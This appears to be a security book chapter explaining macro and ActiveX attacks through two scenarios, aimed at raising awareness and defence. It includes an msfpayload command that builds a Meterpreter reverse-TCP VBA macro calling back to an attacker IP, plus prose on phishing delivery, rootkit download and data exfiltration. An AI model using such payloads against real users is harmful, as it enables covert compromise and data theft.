Dangers Associated with Macros and ActiveX

Macros can be very sneaky and allow attackers to take advantage of unsuspecting victims and networks with little or no detection. Although these examples are certainly not comprehensive enough to include all possible variations of macro attacks, some of them should open your eyes to what the reality is as far as macro attack capabilities are concerned.

The real danger associated with macro and other client-side attacks is understanding that many of the attacks can easily be launched with little knowledge of how the attack works. In addition, the typical target for a macro attack is your common computer user who may not be fully aware of the dangers that exist today. Successful attacks can lead to total compromise of a network or simply provide the foothold an attack needs to make further attacks.

Scenario 1: Metasploit Reverse TCP Connection

Most organizations today deploy the Microsoft Office suite programs to enable employees to complete business-related tasks; however, our attacker has some other plans for leveraging the functionality of Microsoft Office. As time passes and tools become more robust, the capability to exploit vulnerable systems comes easier for both penetration testers and attackers alike. This first scenario uses the extremely popular Metasploit Framework (www.metasploit.com), Microsoft Office, and a dash of imagination to stir up a recipe for disaster. Metasploit has the capability of generating a variety of payloads that penetration testers and attackers can use against target systems. In this scenario, the attacker decides he wishes to perform an attack against an unsuspecting victim in an attempt to gain control over the victim's operating system.

Leveraging the knowledge of how macro exploits operate, our attacker uses Metasploit Visual Basic payloads to generate a macro that may be added to almost any Microsoft Office product. Metasploit has the capability to create payloads that most antivirus vendors will not even detect. During the writing of this chapter, the malicious e-mail and file was checked against 41 virus scanners and none detected the malicious payload.

The following block of code represents the attacker creating the VBA code that will be used in his malicious document. Part of the command determines what type of payload will be used, whereas other segments of the command are used to set the file name and the IP address the macro will try to connect to. If this attack is successful, the macro will attempt to “call home” to the attacker at the IP address provided.

sevendeadliest@theforce$: ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.135 V macrovirus.vba

Once a Visual Basic payload is created using the Metasploit Framework, the attacker imports the macro module into a Microsoft Office document that looks legitimate enough for an employee to feel comfortable opening and sends the document via e-mail to his victim or a list of victims. As you can see in Figure 5.1, the contents of the macro created by Metasploit can be opened and viewed with a standard text editor.

FIGURE 5.1. Viewing msfpayload Generated Code

The Metasploit Framework also has the functionality of creating listeners for incoming connection requests from our malicious Microsoft Word document. Figure 5.2 displays a listener being started and awaiting incoming connection requests. In Figure 5.2, you may notice that a meterpreter has opened a session numbered 1. This is our first indication that a victim has opened the malicious document and the macro has been executed as planned. The attacker then executes the sysinfo command to determine the name, type, and the patch level of the system that has been compromised. The only warning raised was the Microsoft Office notification about the potential danger of executing macros, but then again, what end user really pays attention to those when they just want to get their work done?

FIGURE 5.2. Viewing Open Meterpreter Session

Depending on the level of access, the user has the attacker now perform a series of tasks in order to further his foothold within the network. Some of these additional tasks include but are not limited to obtaining password hashes, gathering network information, pivoting attacks toward other hosts, escalating privileges, and installing root kits. For this reason, we should always ensure employees have only the minimal computer permissions to complete the work required under the context of their role within the organization.

alt1 Note

A root kit is a collection of tools that are usually uploaded to a system after it has been compromised. The tools in the root kit can be used to facilitate further attacks, sniff traffic, and maintain access. Root kits are usually small in size and are designed to evade detection by antivirus scanners. Root kits may be disguised to look like and operate like legitimate system files. For instance, it is possible to use root kits to hook into other processes and applications, allowing for them to be concealed for extended periods of time.

This scenario has demonstrated to us that the power of a well-crafted macro-based exploit should not be underestimated. Implementing controls to prevent automatic execution of macros for Microsoft Office applications can really help reduce the likelihood of these types of attacks. These and other mitigation techniques will be discussed in the section “Macro and ActiveX defenses” of this chapter.

Scenario 2: ActiveX Attack via Malicious Website

As discussed earlier in the section “ActiveX Attacks” of this chapter, ActiveX-based attacks can cause all sorts of problems for your network security program if controls are not implemented. The next scenario involves the attacker crafting a malicious ActiveX control and embossing it within a Web page that will be used as part of the attack.

The ActiveX control itself will perform several tasks when it is activated and has already been programmed by our attacker. In many cases, the attacker do not have to program ActiveX controls as it is fairly easy to find ones that are already developed at various Web sites on the Internet. The purpose of this scenario is to focus on the attack and not necessarily how to program an ActiveX control. If you wish to learn how to program ActiveX components, Microsoft's MSDN Web resources provide a lot of information on the topic with code examples.

Once the attacker has crafted the ActiveX exploit and included it within the malicious Web page, he can now upload the Web page to his favorite Web server for his victims to visit. The attack can direct visitors to his malicious site using a variety of methods. Some methods include using hyperlinks in forum posts, sending e-mails to groups of victims with a link to the site in the e-mail, and sending instant messages including hyperlinks that the victims can click on.

alt1 Note

Although the scenario mentions the attacker uploading files “to his favorite Web server” in the last paragraph, this does not imply he legitimately owns the server. Malicious sites used for this type of attack are usually hosted on servers that have already been compromised and are now under the control of our attacker. In addition, the attacker can use the systems compromised with the ActiveX attack as Web servers for future attacks. This is one of many steps an attacker may take to help conceal his true identity.

In this scenario, the attacker crafts an e-mail with very important-sounding content that requires immediate action on the part of the victim. The attacker sends the e-mail to the victims identified in his e-mail list and waits for the e-mail recipients to visit the Web site the attacker set up earlier. Upon visiting the malicious Web site, the user will most likely be prompted to click on the annoying message to install the ActiveX control required to use some of the elements of the Web site. At this point, the ActiveX control is successfully installed and is ready to perform the tasks as programmed. Figure 5.3 provides an overview of the attack thus far.

FIGURE 5.3. ActiveX Attack

The ActiveX control designed by our attacker has been programmed to contact a separate server on the Internet and use the TFTP protocol to download a root kit specifically designed for this attack. The tools in this root kit are used to gather data from the client system by way of sniffing and logging keystrokes and scouring the compromised system for documents that may contain sensitive information. The root kit can be constructed with a variety of tools to meet whatever the attackers needs are.

Once sensitive information has been obtained from the victim's computer, the data can then be transmitted to a third and final server where the attacker can later retrieve the data and use it for future attacks. At this point, the root kit can be configured to continue gathering information and send the information to the remote server at regular intervals. This type of attack can obviously cause a lot of trouble if the victim is an enterprise or small company and the data stolen contains client data or personal identifiable information. Prolonged access can lead to millions of dollars in losses and buy our attacker a nice vacation villa in Germany.

Future of Macro and ActiveX Attacks

As you can see from the overwhelming success of macro and ActiveX attacks, it is likely that the basic attack methodology used by macro-based attacks will be around as long as Office applications allow code to execute. Since the convenience and flexibility provided by allowing this to occur is so critical to the success of the applications, it is not conceivable that Microsoft will remove this functionality from its programs. As newer, more powerful languages and APIs are written Microsoft will continue to add to the feature set it offers. Programmers and attackers will then be able to leverage these new capabilities to do their bidding and possibly take advantage of security holes created by the new features.

An example of how this can cause issues relates to .NET assemblies and their use by macros in Office 2003 and 2007. The recommendations from Microsoft in regards to macro security are to use the default security settings within the applications to help prevent malicious code from running. Unfortunately, this only applies to the following items according to the Microsoft Knowledge Base^[1]:

• Microsoft VBA macros
• COM add-in
• Smart tags
• Smart documents
• Extensible Style sheet Language (XSL) documents

As you can see, this does not include the capability to secure any code from referenced .NET assemblies. This is because the .NET framework controls the security for the .NET assemblies rather than the application calling it. Therefore, the security settings within Office applications have no effect on the way that .NET code is run, even if it is being called out of an Office application.

Although there are ways to secure the .NET framework, it may still have system wide affects and are not as manageable as the security settings within Office. This particular gap will continue to exist until attackers take advantage of it to the point that Microsoft sees the value in eliminating it. The point, however, is not to claim this as some large hole within Office security; rather, the idea is to point out this as an example of how macro attacks will mature over time.

The human element also plays a very large part in the success of many attacks and as humans, we are the slowest to adapt and conform to security concepts. In general, these attacks require you to perform some action to activate the attack. This may be a user visiting a malicious Web site, opening a document from an unknown source, or even lowering the security settings within Office to get a known-good macro to run without bugging you about security policies preventing its execution. No matter how well Microsoft designs these systems from a security perspective, this is also not something likely to change.